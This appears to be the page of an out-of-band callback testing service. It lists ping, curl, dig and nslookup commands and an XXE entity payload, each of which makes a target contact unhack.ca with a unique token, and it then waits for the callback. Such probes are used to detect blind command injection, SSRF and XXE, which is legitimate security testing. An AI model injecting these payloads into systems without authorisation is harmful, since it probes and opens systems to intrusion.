$ ping -c1 -p 00f45b01fbde818f2af72be1af95bb00 unhack.ca
 
$ curl http://unhack.ca/p/f45b01fbde818f2af72be1af95bb
 
$ dig f45b01fbde818f2af72be1af95bb @unhack.ca
 
$ dig f45b01fbde818f2af72be1af95bb.ns.unhack.ca
 
C:\> nslookup f45b01fbde818f2af72be1af95bb unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f45b01fbde818f2af72be1af95bb">]>
    <foo>&xxe;</foo>
Waiting for ping...